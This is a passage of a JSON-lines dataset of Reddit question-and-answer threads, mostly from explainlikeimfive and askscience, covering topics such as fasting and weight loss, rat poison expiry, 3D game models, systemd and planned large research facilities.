supplementation is essential as fat does not contain essential nutrients and long term deficiencies can inhibit or kill a person.\n\nThere IS a remarkable, medically documented case of an obese man [fasting for 382 days](_URL_0_).  TOTAL fasting except for vitamin/mineral supplements (no caloric value) and a small amount of yeast.  And of course he drank water.  He went from 452 lbs to 180, that's a consumption rate of 0.7lbs= 2528 fat calories per day.\n\nA year.  More than a year without food, living only off his own fat stores.  Creepy!  Initially, he had a sensation of hunger and his blood/urine tests showed oddities and fluctuations- but soon stabilized and he reported no sensation of hunger.\n\nSince that is middle-of-the-road for caloric consumption, although he did add his own exercise, the bottom line is this individual's metabolism did NOT \"slow down\".  Hard to say how vigorous his exercise was, or how many calories a 452 lb man normally uses in maintaining that weight.  But his average burn rate over the year was the same as any normal adult male.", "I agree it is complex. In terms of having a deficit in diet in order to lose weight there are new studies that show there was missing some information. For example: not eating will be different for each person according to fat availability, existing muscle fiber and sensitivity, and activity. A man, with a belly and spare tire, who has a body fat of 30% can go longer not eating without deleterious effect because the fat availability is higher. It is when the body doesn't have back up that it can draw from that harm comes about. That is, when the body cannibalizes muscle and organ rather than just fat. \n\nYour metabolism also grows slower when there is a surplus in diet too. The slower the metabolism the more fat that gets stored. There is as much harm from under eating as over eating.  Only ya starve to death faster  than turning into a one ton man.\n\nHeavy Weight lifting or cardio activity are the things to watch out for when dieting and using a low calorie or fasting diet no matter your body composition. Of the two groups of body fat, adipose and skeletal, cardio will call on skeletal fat instead of adipose (the soft flabby belly or love handles.) Eating carbs in the diet when cardio or heavy weight lifting will solve that risk. Avoiding excess and refined carbs when no cardio is present in daily activities is crucial to helping increase personal metabolism.", "Speaking at the most basic level regarding weight loss, it goes as follows:\n\nYour body requests triglycerides be liberated from your adipose tissues into your blood.  (**This is where a lot of the complexity lies -- getting your body to send these signals is not as simple as not eating.**)\nThose triglycerides are taken up by tissues that require energy, and broken into glycerol and fatty acids.\n\nThe glycerol is changed into pyruvate or glucose and enters the cell energy cycle.  The fatty acids are converted into acetyl-COA and enter the cell energy cycle.\n\nThe cell energy cycle pulls energy from those molecules by breaking specific bonds, resulting in extra carbon dioxide molecules and taking in water molecules.\n\nThe carbon dioxide diffuses out to your blood, and then to your lungs, and is breathed out.\n\n\nIn order to lose weight, the physical matter has to go somewhere.  In the case of the human body's metabolism, that somewhere is actually mostly your breath.  Some through excretion, but not much (urine is over 95% water, and each molecule of urea carries one atom of carbon and oxygen for two atoms of nitrogen).", "Here's a related question for those in the know. A couple of years ago I used a BodyBugg and tracked what I ate and targeted an average daily deficit of 1500 calories, which led to an average weight loss of three pounds a week. What I always wondered about however, was what the coloric content of our waste (read poop) was. Eating cleanly and weighing portions can result in some very accurate intake numbers, but if I consume 1500 calories in a day is the net result really zero? Do our bodies process what we eat so completely that our waste has zero caloric content, or is some caloric portion still present as it's passed? In other words, if I eat 1500 calories do I absorb 1500 calories or say just 1450 as an example, eliminating 50 unused/processed calories?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://youtu.be/_BKK2xlmX0E?t=7m44s", "http://www.youtube.com/watch?v=3lImNGDh5kA"], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2495396/pdf/postmedj00315-0056.pdf"], [], [], []]}
{"q_id": "1i2gyi", "title": "During the mid-to-late 20th century, did anyone ever predict that China would be as economically powerful as they are today?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1i2gyi/during_the_midtolate_20th_century_did_anyone_ever/", "answers": {"a_id": ["cb0bcnp"], "score": [2], "text": ["Did anyone ever predict that China would be in the position that they're in today? If so, was the prediction made after the death of Mao or during?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8n3o28", "title": "a pound of excess weight lost is 4 pounds of pressure off of the knees.", "selftext": "A study showed that for every 1 pound of weight lost, there was a resulting 4 pound reduction in knee joint load or knee pressure. How does one pound equal four in this case? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8n3o28/eli5_a_pound_of_excess_weight_lost_is_4_pounds_of/", "answers": {"a_id": ["dzsj9iy", "dzsnfb6", "dzsofrk", "dzticy7"], "score": [35, 4, 4, 2], "text": ["Is that...a question?\n\nI don't know what this is. But weight and pressure are not the same things, weight is a measure of force. Pressure is a measure of force PER area. \n\n\"4 pounds of pressure\" isn't a thing. \n\n4 pounds of pressure per square inch is (that's 4 PSI).\n\nThis is almost certainly what these means. Your knees have a small area, so one pound of weight ends up being 4 PSI off of your knees. I have no idea if that's true. But that's my assumption. ", "A lot of people mistakenly use the term \"pounds of pressure\" to mean \"pounds of pressure per square inch\".  If it's true that for every pound of weight loss, there is a resulting 4 pound per square inch reduction in knee joint pressure, it implies that the total area of your knee joints is only 1/4 in^2 .  Seems low to me.", "The knees are a sort of lever. Your muscles do not provide twisting force to straighten (or bend) your leg-- they provide pulling force. By pulling on bones at the kneecap (front) side, they're pulled towards the front of the body and the joint can be straightened. By pulling on the back side of the bones, the joint is bent.\n\nDue to the nature of levers, it's possible that muscles and tendons in your knee exert 4x more *pulling force* than the weight the joint carries. Note that they'd pull a 4x smaller *distance* than the leg travels-- the overall amount of energy isn't being magically raised or lowered by the geometry of the joint. \n\nSo I have no trouble believing that a tendon experiences 4lbs less strain if you lose 1lb. But this is misleading, since it's not experiencing a *disproportionate* amount less strain. If you weigh 200lbs, in this example you may expect that the tendon is already under 800lbs of strain. A 4lb change is not more significant in comparison to that than 1lb is to many other parts of the body. ", "As with any study you read about, it's helpful to [read the actual study](_URL_0_). Media coverage usually distorts, exaggerates, or leaves out important details. \n\nIn this case, the most important sentence is:\n\n >  each pound lost would result in a 4\u2010pound reduction in a knee\u2010joint load that peaks at \u223c650 pounds for each step\n\nThe forces put on your knee by walking can be reduced by losing weight, because when you walk your throwing your bodyweight down on one leg, balancing for a moment on one leg, shifting your weight, and lifting yourself back up again. This multiplies the strain put on your knees many times over.\n\n(Also worth noting that the study was only for overweight and obese people with osteoarthritis. If you're not that, your results might be very different.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://onlinelibrary.wiley.com/doi/full/10.1002/art.21139"]]}
{"q_id": "et8ven", "title": "how does 3d modeling work in video games?", "selftext": "I know from a very basic standpoint that game devs create a model for a character/object, but how exactly do they keep consistency? Do they use that same exact model for all cutscenes, different angles, different depth distances etc? As in if a model of a character was a mile away, could you theoretically walk all the way up to that model and it would be the same perspective as if you were walking up to a real person/object? Or say for instance you had a camera shot from the foot of a character model looking up at them, is that the same model used for every other shot to keep consistency? Sorry if I\u2019m making no sense here lmao this has just been bugging me", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/et8ven/eli5_how_does_3d_modeling_work_in_video_games/", "answers": {"a_id": ["ffetlbh", "ffex2fh", "fff55ho"], "score": [21, 3, 7], "text": ["You could use the same model in all of those cases. But for performance reasons most games don't.\n\nIt doesn't matter what angle you're looking at the character. That's the point of 3D models, you can look at them from any angle. Unlike 2D sprites where you needed separate images for different angles.\n\nBut there's not much point in using a highly detailed model when it's too far away to see that detail. So games usually use a model with a lower Level Of Detail (aka LOD), which gets switched out for one with more detail when you get closer. \n\nIn some games you can see that happening if you look closely enough when moving towards something.\n\nThey might do a similar thing for cutscenes, where a model with higher detail is used for cutscenes particularly when there's a close up of the face.", "There's a few things they do to make this work.\n\nMainly, LOD (Level of Detail), meaning they make a nice high detail model for close up shots, then simplify that model a few times, reducing it's complexity, and swap it in and out on the fly.\n\nPsyk60 pointed out you can sometimes see this in games.\n\nOther tricks that aren't really modelling, but semi-related, are normal and displacement maps. Normal maps affect how light reflects off the model, and they can use that to simulate higher detail than there actually is.Displacement maps can affect the geometry itself (maybe DX12 tessellation, I'm absolutely guessing here) or just displace the pixel, which looks nice, just has some limitations and performance improvements.\n\nI'm no expert, that's all based on my limited Blender knowledge and interest in the area :)\n\nEDIT: I pointed out the normal/displacement maps because sometimes you could get away with not having a different model, and just having fancy maps, but usually a combination of both since simple models are easy to spot (old games with pointy faces, etc)", "3d modelling for games and other media are essentially the same. The basic principles are:\n\nA wireframe: This is the boundaries of your object. Wireframes are made up of vertices, in general, the more you have, the \"smoother\" an object will look. However, the more there are, the more computational power is needed. This would be the outline of all of the distinct faces on a house.\n\nTextures: These \"paint\" material over the wireframe. As the detail in the texture increases (or its complexity) the more computational power is needed. These would be wallpaper, flooring, etc. There are lot of tricks, like bump maps, but they aren't necessarily worth digging too far in to.\n\nLighting is self explanatory. \n\nViewports are like cameras, it's your perspective viewing a scene with one or many models, light sources etc. Only what can be seen in the viewport is rendered, so for example, if you're looking at a house, the back of the house, and its interior are not rendered, if you cannot see them.\n\nBecause an object far away (relative to the viewport) will not need a lot of detail, you can get away with using fewer vertices, and less detailed textures. So essentially it's the same model, just with less detail. Using the house as an example, you don't need to individually render shingles on a roof if you're far away, but as you get close you may need to, and even closer you may need better textures to show grain.\n\nDepending on the cut scene, you may use different models (and processes) entirely, especially if you can't interact with it, because you know exactly what the viewport will be. But you could also use a super detailed version of the same model."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4316pu", "title": "Why do squids get so big but octopodes don't?", "selftext": "They seem to me to be really similar (squishy ocean creatures) but squids can get so ridiculously huge (bigfin squid, colossal squid, etc) whereas octopodes seem to stay relatively normal sized.  Is there any specific reason for this or just weird luck?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4316pu/why_do_squids_get_so_big_but_octopodes_dont/", "answers": {"a_id": ["czf6m3s"], "score": [3], "text": ["Giant pacific octopuses can get pretty dang big.  In any case, the size difference is certainly due to adaptations to different environments rather than any intrinsic difference in the ability of squid and octopus bodies to grow that big.  Octopus could get as big as the biggest squid, if they lived in an environment that favored a size that large.\n\nJust speculation here, but the upper size limit may be due to the difficulty of finding suitable lairs.  Octopuses depend on caves to lair in, both as protection from predators and as a place to guard their young.  Even giant pacific octopuses use them.  The scarcity of really big caves and crevices may limit the size octopuses grow to."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1que0p", "title": "what happens when rat poison expires?", "selftext": "Does it become okay to eat, and also is there an expiry date to poisons to humans like cyanide", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1que0p/eli5_what_happens_when_rat_poison_expires/", "answers": {"a_id": ["cdgkzvr", "cdgl37a", "cdgm6cy", "cdgp68d", "cdgruk6"], "score": [2, 22, 10, 3, 19], "text": ["I dont know about Rat poison, but I know that you can not eat cyanide whether its 1 day old, or 100 years old. Its a combination of elements that form a potent poison.", "Once it expires, then it is no longer guaranteed to work as intended.\n\nIt probably still will.", "Depends on the poison, but none are ever ok to eat!  As others mentioned, Cyanide in any form (KCN, HCN, etc.) doesn't really break down, and even if it did begin to degrade the lethal dose is much less than a gram-there's a good bet that there's still enough to kill you, the rat, and a few others as well.\n\nAnticoagulants like Coumarin (fun fact: the blood thinner Warfarin got its start as a rat poison), will degrade slowly, but it doesn't take much (still less than a gram) to be lethal or render serious harm.\n\nPhosphides degrade to [phosphines](_URL_0_) which fortunately smell very bad, because they are very toxic.  Don't get near those.\n\nVitamin D can be used as well.  Animals only need a small amount, and if large (toxic) quantities are used, it causes Calcium to accumulate to dangerous levels in the blood and organs.  *In theory* this is the least toxic, because vitamin D degrades to other cholesterols when exposed to light, but bait traps may be packaged with anticoagulants to increase their effectiveness, and the packaging acts to preserve it.  Never eat it. \n\nTL;DR Rat poisons may not work as well after the expiration date but still are very dangerous and should be treated as such.  Never, **ever** eat them and always wash your hands after handling.", "\"Fresh\" rat poison might kill 95% of the rats which eat it. \"Expired\" rat poison might only kill 90%, or the packaging might degrade, or the fillers/binders might get funky, or...\n\n\"OK to eat\"? No.", "Hey, something I can finally answer! I'm an analytical chemist who works for a rodenticide (rat poison) manufacturer. It really depends on the specific poison that is being used. Painting with a really broad brush, the expiration date at least in the US, as regulated by the EPA, refers to a guaranteed period that has been tested by the rodenticide manufacturer in which they have proven that the concentration of the active ingredient stays within a 10% range of the listed concentration. So basically after the expiration date the manufacturer doesn't guarantee that their product's listed concentration (e.g. 50 ppm) is valid.\n\nMany poisons are organic in nature (the superwarfarins, the metabolic poisons such as bromethalin). They will, in the presence of a bait matrix, slowly degrade over time through interactions with the other ingredients - grains, dyes and flours in the bait have lots of enzymes present that will interact with the poison. The rate of degradation completely depends on the specific compound. You may see some rodenticides lose half of their concentration in a couple of years. At NO point does this mean they are good to eat or should be treated as non-poisonous. \n\nOthers such as inorganic zinc and aluminum phosphide will react with water vapor in the air and give off phosphine gas, which has a pungent, garlic odor.\n\nMost rat poisons after expiration will still work, but not as well as when fresh, due to the reduced concentration. Instead of killing 8 out of 10 rats who eat a certain amount of bait, it might kill 4 out of 10. Furthermore baits lose some of their attractants (flavoring) over time and often harden, making it more difficult for rodents to chew, so that also changes effectiveness."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Phosphine"], [], []]}
{"q_id": "13yb4v", "title": "If all countries were to close their borders due to a deadly disease (think: Pandemic), which would have the best chances of saving the human race?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13yb4v/if_all_countries_were_to_close_their_borders_due/", "answers": {"a_id": ["c789oz7"], "score": [2], "text": ["I would guess that the cause of the pandemic would play a pretty substantial role. Ie/ bird flu may not spread as quickly to countries with less poultry trade. Additionally, depending where the pandemic originated/ is first discovered would likely play a substantial role. For example, if it's discovered in China, they may have minimal personal travel to a country such a Iceland. This would give Iceland substantially more time to prepare. Is the pandemic spread through human contact? Contact with contaminated animals? Air? Can the virus survive on plastic/ metals or does it require a human carrier? All play a huge factor in the spread of the pandemic. for example, Honolulu, Hawaii is the most isolated large city (over 500k population), however, they have substantial traffic with the USA and several other countries. TLDR: Not specific enough of a question. FAR FAR too many variables."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6ao119", "title": "why are all powdered donuts of the cake variety?", "selftext": "I see glazed cake donuts, yet I've never seen a powdered yeast donut. Why is this so?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ao119/eli5_why_are_all_powdered_donuts_of_the_cake/", "answers": {"a_id": ["dhg7a8i"], "score": [6], "text": ["The cake doughnuts are sort of absorbent/moist, so when you put powdered sugar (which is about 90% finely ground sugar and about 10% corn starch to keep it from sticking) stick right to it. A little bit of the sugar/starch melts and sinks it, and forms a sort of glue to hold the rest of the powder on. Mind you, this only works when the doughnuts are a bit hot and fresh. \n\nRaised doughnuts are just too much like bread, and too smooth, so you end up with a thin layer of powder. Then, over a pretty short time the sugar in the powder draws in moisture and melts, leaving a kind of sugary corn starch paste on your doughnut. As a result the better option is what something like Krispy Kreme does, and glaze that style. Then, if you want, you can top it with coarser granulated sugar, or anything else, and the glaze acts like glue. \n\nFinally, there's a *lot* less actual doughnut in a raised doughnut, so covering it completely with sugar could be a little overwhelming. A light dusting is more common when can get them fresh, or if it's put on cold. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ejei64", "title": "what does the us want from the middle east? (syria, iran, iraq etc.)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ejei64/eli5_what_does_the_us_want_from_the_middle_east/", "answers": {"a_id": ["fcx6csl"], "score": [2], "text": ["It's a complicated mix of a couple of things. \n\n1. Oil, basically. The Middle East has a lot of oil and... yeah the US wants that. \n\n2. They want to stop the spread of nuclear weapons. Iran is forging ahead with their nuclear weapons program and Saudi Arabia is their main rival. That's one of the reasons why the US is allied with Saudi Arabia (despite SA being the main funder of Al-Qaeda's attack on 9/11 but never mind that of course)\n\n3. There is a very strong push from American Evangelicals to support Israel (despite a large number of countries insisting that Israel is committing war crimes and genocide against the Palestinians). So, the US is also heavily allied with Israel because of that pressure as well. \n\n4. Russia and China have quite a bit of influence in the Middle East and, as the US's two main rivals, the US wants to counter that as effectively as it can."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "456w1k", "title": "if deuteranopia blocks off the color green, why can't they see purple or red?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/456w1k/eli5_if_deuteranopia_blocks_off_the_color_green/", "answers": {"a_id": ["czvn6pe"], "score": [9], "text": ["Deuteranopia doesn't \"block off\" green in the way you seem to think.  That is, it doesn't prevent green photons from being detected as light by your eyes.  It just makes green and red look like two different shades of the same color.\n\nSee [this comparison](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.color-blindness.com/wp-content/images/deuteranopia-color-spectrum.jpg"]]}
{"q_id": "61v3cc", "title": "Is there one \"color\" on the light spectrum that is more prevalent in our universe than the others, or is each represented equally?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/61v3cc/is_there_one_color_on_the_light_spectrum_that_is/", "answers": {"a_id": ["dfhvgze", "dfhxy1h"], "score": [14, 13], "text": ["My first thought is that the cosmic microwave background would dominate on a cosmic scale. These photons were generated everywhere in the early universe during the recombination epoch: the time when the universe cooled enough to allow electrons and protons to form stable hydrogen atoms.\n\nOne interesting thing to note about the CMB is that when the photons were first generated, the wavelengths were much shorter! Only due to the expansion of spacetime over ~14 billion years have the photons redshifted as microwaves.\n\nThe answer below goes into good detail without being overwhelmingly technical:\n\n_URL_0_", "This isn't a direct answer to your question, but is along the same lines of thought, and also kinda neat.\n\n[A survey of the colour of all light in the universe added up to a slightly beigeish white, called \"Cosmic Latte.\"](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://physics.stackexchange.com/questions/199680/what-is-the-most-common-photon-wavelength-in-our-observable-universe-not-includ"], ["https://www.wikiwand.com/en/Cosmic_latte"]]}
{"q_id": "92ae2a", "title": "why do some say that systemd is against the \"unix philosophy\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/92ae2a/eli5_why_do_some_say_that_systemd_is_against_the/", "answers": {"a_id": ["e3499vi", "e349qs3"], "score": [10, 6], "text": ["In an ELI5 sense, the *Unix Philosophy* can be summed up by the idea that a piece of software should do one thing and do it well.\n\n*systemd* does lots of things and some argue it does some of them poorly.\n\nIt's a single piece of software that is meant to be a replacement for many smaller pieces of software and some argue that it's the wrong approach for a system that was based on Unix.\n\n", "Unix philosophy is to do one thing, and do it well.\n\nThis means you have lots of small programs that fulfil one function and then you can combine them as you see fit to satisfy your needs.\n\nSystemd is a more monolithic system which forces what it thinks is right on the user. So you get more of a 'my way or the highway' approach.\n\nThat's not to say the second approach is without its merits, but it's not how things have traditionally been done with UNIX."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "58jr46", "title": "why does chinese history/culture have so many numbered lists of things?", "selftext": "I've been doing some very basic reading on China and I've noticed so many numbered lists of things, like \"The Three Sovereigns and Five Emperors\", \"The Four Great Inventions\", \"The Eight Cuisines of China\", \"The Four Books and Five Classics\", \"The Three Furnaces\", \"The Eighteen Arms of Wushu\".\n\nIs this a quirk of Chinese language, an intentional way of ordering their (long) history, or have I cherry picked results by accident?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/58jr46/eli5why_does_chinese_historyculture_have_so_many/", "answers": {"a_id": ["d916u6w"], "score": [7], "text": ["7 wonders of the world\n\n4 horsemen of apocalypse\n\n12 labors of hercules\n\n the 12 disciples \n\n300 spartans \n\n40 days and 40 nights.\n\nit's not just Chinese culture"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2dtfmm", "title": "why can we use damp paper towels / cotton balls instead of soil when germinating bean seeds?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2dtfmm/eli5_why_can_we_use_damp_paper_towels_cotton/", "answers": {"a_id": ["cjsvfgu", "cjsvgnv"], "score": [2, 4], "text": ["Most seeds don't need minerals to just germinate. They only need moisture.\n\nThe content of the seed provides the initial material to make the plant. Otherwise you'd have a chicken/egg problem, where the plant couldn't exit its shell to get the minerals it needed to exit its shell.", "Most of the bean is not the plant, but stored nutrients and energy. Typically speaking, the larger the seed the more energy and nutrients the parent plant committed to the seed.\n\nEventually, those nutrients will be exhausted and the plant will need dirt."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4w8o3g", "title": "what is a freebase drug?", "selftext": "I hear crack cocaine is the freebase form of cocaine. What does this mean?\n\nWhat is freebase?\n\nWhat is hydrochloride and why is it in cocaine?\n\nWhy can't people just smoke powder cocaine?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4w8o3g/eli5what_is_a_freebase_drug/", "answers": {"a_id": ["d650gsk", "d654pcd"], "score": [24, 5], "text": ["A lot of drugs are bases as in acids and bases. Since they are bases, they can react with acids to forms salts. The hydrochloride is the salt of the base and hydrochloric acid. The freebase is exactly what it sounds like, the base by itself, not a salt. Freebases tend to not dissolve in water and vaporize at lower temperatures, which makes them better for smoking. The salts tend to be soluble in water and often decompose rather than vaporizing, making them better suited to snorting.", "/u/cowboysauce gave the heart and soul of the actual chemistry. Taking it a bit further (on the danger scale) is the absorption rate which translates into \"power\" and addiction.\n\n\n\nIn the cowboy's example: Smoking a drug absorbs quicker than sniffing said drug. A faster absorption rate = A greater and quicker euphoria feeling = A greater chance of addiction. \n\n**Absorption modes and rates (fastest to slowest) from memory (a long time ago)**\n\n* Intracardiac (Injection into the heart)   \n* Intraveneous (Injection into a vein)  \n* Intrapulmonary (Smoking)  \n* Sniffing (Mixed absorption: nasal membranes and intestines)  \n* Subcutaneaous (Under the skin)  \n* Transdermal (Through the skin)\n\nCaveat: Intrapulmonary and sniffing can be close in absorption rates\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "95it51", "title": "how is it possible that people could be wrongly diagnosed as dead often through history, when they could always check for pulse?", "selftext": "I just don\u2019t get that.. we all have a pulse, so why was it something that was ever an issue?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/95it51/eli5_how_is_it_possible_that_people_could_be/", "answers": {"a_id": ["e3t26sn", "e3t2ic9", "e3t2swz", "e3t3db9"], "score": [42, 4, 20, 11], "text": ["There are some conditions that suppress the strength of the heartbeat to a level that's too weak to feel, for a little while.", "There was a movie called The Illusionist is about a temporary suppression of the pulse to make a woman appear dead. Admittedly, it's fiction. But apparently it can happen. At one time, there were numerous devices which were designed to let a person buried alive signal that he was alive.", "Sometimes the pulse gets so low, that it\u2019s almost undetectable. There are different reasons.\n\nOne of the most common is called the Lazarus phenomenon. There have been a few dozen known cases of people \u201crising from the dead\u201d after flatlining. In these cases, the heart of the patients completely stopped, and was unresponsive to CPR or defibrillation, and they were declared dead. Many of those were found snoring in the morgue less than an hour later. \n\nIt\u2019s unclear how his happens, but the thought is CPR causes a type of buildup of pressure in the chest that prevents the heart from restarting. Once the pressure clears, the heart expands and triggers the heart\u2019s electrical impulses, restarting the heartbeat.", "It's harder to find a pulse then you'd imagine. Also some conditions make it impossible to detect without a heart monitor, which is a recent invention."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3o656y", "title": "why do they say that you're more likely to get a new job if you have one already, even if said one has nothing to do with the one you're applying for?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3o656y/eli5_why_do_they_say_that_youre_more_likely_to/", "answers": {"a_id": ["cvudn7d", "cvueqlz", "cvufdg3", "cvuhbh5", "cvuhlgq", "cvui29j", "cvulcrt"], "score": [129, 13, 8, 6, 3, 7, 4], "text": ["HR Manager: \"Hmm, between these two applicants, A has a job and B doesn't. Why doesn't B have a job? Maybe there's something wrong with him. I better not take the risk of hiring someone like that. I'm going to hire A.\"\n\nAnd that's why it's easier to get a new job if you're already employed.", "Same reason girls are more attracted to guys with a girlfriend, someone else wants what you want. Makes you want it that much more.", "If someone has been laid off that means they were the least valuable out of their previous peers. Might as well hire the guy who wasn't ", "Suppose I'm an employer, looking to hire someone-- I have to use my valuable time to seek out potential employees, interview them, train them, and hope they stick it out so that my time will not have been wasted.\n\nI would wager that if someone is applying to work for me, and they're not currently employed, there is a reason.  Are they lazy? Unreliable? Dumb? If you're fresh out of school, that's one thing.  If you're changing careers, okay.  But if you've been unemployed for any number of months then I start to question why.\n\nNow, on the other hand, there could be the issue of why someone who is employed is looking applying to a position I'm hiring for.  How long have you been at your current job? That gives me an idea of company loyalty-- if your resume shows you've had 4 jobs in 4 years, I want to know why you didn't stick around anywhere for very long. Or if you've had the same job for 5 years, what's changed?\n\nUltimately it comes down to employability.  Am I willing to use my resources to bet on you being a good worker? Your current employment or lack thereof may give me insight into that.", "Hiring decisions are still done by human beings and there is inherent bias there no matter how hard we try to be neutral. In a capitalist society we look down on people who are jobless. It's uncomfortable to admit that but while you can and should feel sympathy for them, a subconscious assessment would have you devaluing them even if it's only slight. \n\nI can't say that's any worse than hiring somebody for the opposite reason, because you liked something about them that the other candidate didn't have. IE hiring not the least worst person, but the one you want the most. People will often think a candidate is better if they share their sense of humor or the interviewer can better relate to that person. \n\nFor instance have you ever noticed that immigrants, especially ones with foreign sounding names and accents, often get shit jobs? When my wife moved here from the Nederlands she had 2 college degrees and was a teacher at a vocational college there, and when she tried to get a job here it was like none of that mattered, and her English is almost perfect and she has a 'christian' name. So I can only imagine how bad it is for people who are foreign but also 'foreign'. \n\nIt also has to do with motive. If a person already has a job, but they want to leave it to come work for you, you might feel that they are taking the initiative and they want to work for your company because they know it's a good place to work. Where as someone who is jobless kind of needs the job and their motivation is to get hired by anybody willing to hire them so their application is out of need rather than an admiration for your company and it's values. \n\nThis isn't even necessarily about being gainfully employed. Even if you are jobless you can do charity work and even though you don't get paid for it, people still see that as working. \"Since I got laid off I've been donating my time to charity X while I look for new opportunities\". There are lots of helpful guides to being a good hiring choice and acing an interview. ", "Try this one on. \"The best time to look for a job is when you have one.\"\nIt is better to have steady income when hunting for a job than it is to be struggling and desperate for any job.", "So you're in P.E. class picking teams for football. You know person A is a basketball player (which has nothing to do with football). Person B plays no other sports. Who do you pick?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "76szuu", "title": "What large research projects (equivalent in scale to LHC or ITER) are in the early proposal or design stage that non-scientists haven\u2019t heard of yet?", "selftext": "It seems like the public only becomes aware of projects like LHC or ITER when funding has been approved. What large scale research projects in your field will we be hearing about in the near future?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/76szuu/what_large_research_projects_equivalent_in_scale/", "answers": {"a_id": ["doggcrd", "dogmg3e", "dogs6zm", "dogsu9n", "dogw80p", "dogyvbg", "doh323f", "doi6xjw"], "score": [5, 76, 36, 4, 27, 5, 31, 2], "text": ["Would love to hear more about such projects, raise awareness and understand their potential impact. ", "ESO, the European Southern Observatory is building a new telescope. You might have heard of the neutron star merger that was announced today. ESO used their Very Large Telescope (VLT) for that. It is one of the largest telescopes on Earth.  \nAs the next big telescope they have planned the ELT, the extremely large telescope. [see here](_URL_0_). It will have a diameter of 40m (compared to a diameter of 8.2m for the VLT) and cost around 1billion euros. It is planned to be finished by 2024.  \nAnother observatory that is planned is LISA, the [Laser Interferometry Space Antenna](_URL_1_). It is supposed to measure gravitational waves by laser interferometry between several satellites in space. However it will be very expensive and complicated and has not gotten past the first planning/proposal stages. ", "In Michigan there is ongoing construction for the Facility for Rare Isotope Beams (FRIB).  It will provide beams of short-lived isotopes to allow nuclear physicists to explore matter closer to the neutron drip line, among other things.  It's estimated to be done around 2021, at a cost of 760M USD.", "* [ATLAST](_URL_2_) space telescope\n* [Extremely Large Telescope](_URL_0_) (39m diameter main mirror)\n* [Square Kilometer Array](_URL_4_)\n* [Deep Underground Neutrino Experiment](_URL_1_)\n* [WFIRST](_URL_3_)", "I'm pretty excited for the Large Synoptic Survey Telescope, although it isn't THAT big of a project, only $30mil. When it comes online in 2019 it'll scan the entire night sky over the course of a few days and most of the data will be available to the public in something like a live(ish) updating google earth. They're hoping to catch a bunch of transient (short lived) events that normal telescopes are too slow to respond to.\n\n_URL_0_", "There's the [European Spallation Source](_URL_0_) as well - it's currently under construction, and is expected to be fully completed by ~ 2025.", "Particle physics:\n\n* [Belle II](_URL_2_) will start soon (probably 2018) and measure B mesons with extreme precision to look for deviations from theoretical predictions.\n* [DUNE](_URL_13_) is in development to study neutrinos, and prototypes of the detectors are built.\n* [ILC](_URL_0_), [CEPC](_URL_16_), [CLIC](_URL_1_) and [FCC](_URL_11_) are proposed colliders, currently all without funding for construction. ILC got the most attention so far and could start construction basically as soon as the project gets funded, the others need more R & D.\n* A few more neutrino detectors are under construction and even more are proposed. [Wikipedia has a list](_URL_12_).\n\nAstronomy: It is hard to miss news about the [JWST](_URL_10_) (2019), but there is so much more.\n\n* [Gaia](_URL_20_) is taking data already, it measures the whole sky with an unprecedented precision. It will measure the position, distances and velocities of about a billion stars and many other objects, either as first measurement ever or with a factor 10 or more higher precision. It will probably find tens of thousands of exoplanets (compare this to 3700 known today), double the number of asteroids known in our solar system, and generally produce a huge dataset of all types of astronomical objects. The distance measurements of stars nearby are used to calibrate the distance measurements for everything more distant, so Gaia will improve all these measurements a lot, that improves our estimates for cosmological parameters as well.\n* [TESS](_URL_3_) and [CHEOPS](_URL_14_) are follow-up missions to Kepler, observing more stars (TESS), brighter stars closer to Sun (CHEOPS), 